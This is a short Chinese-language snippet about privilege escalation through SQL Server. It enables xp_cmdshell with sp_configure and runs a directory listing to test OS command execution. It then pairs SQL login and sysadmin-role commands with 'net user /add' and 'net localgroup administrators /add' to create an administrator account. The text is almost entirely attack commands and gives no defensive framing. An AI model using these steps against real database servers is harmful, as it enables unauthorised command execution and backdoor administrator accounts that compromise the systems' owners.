通过SQL Server 用户来添加Windows帐户并提升为管理员权限
use master
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
--测试是否有xp_cmdshell的权限,如果列出数据,说明有权限
exec xp_cmdshell 'dir c:'
go
用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add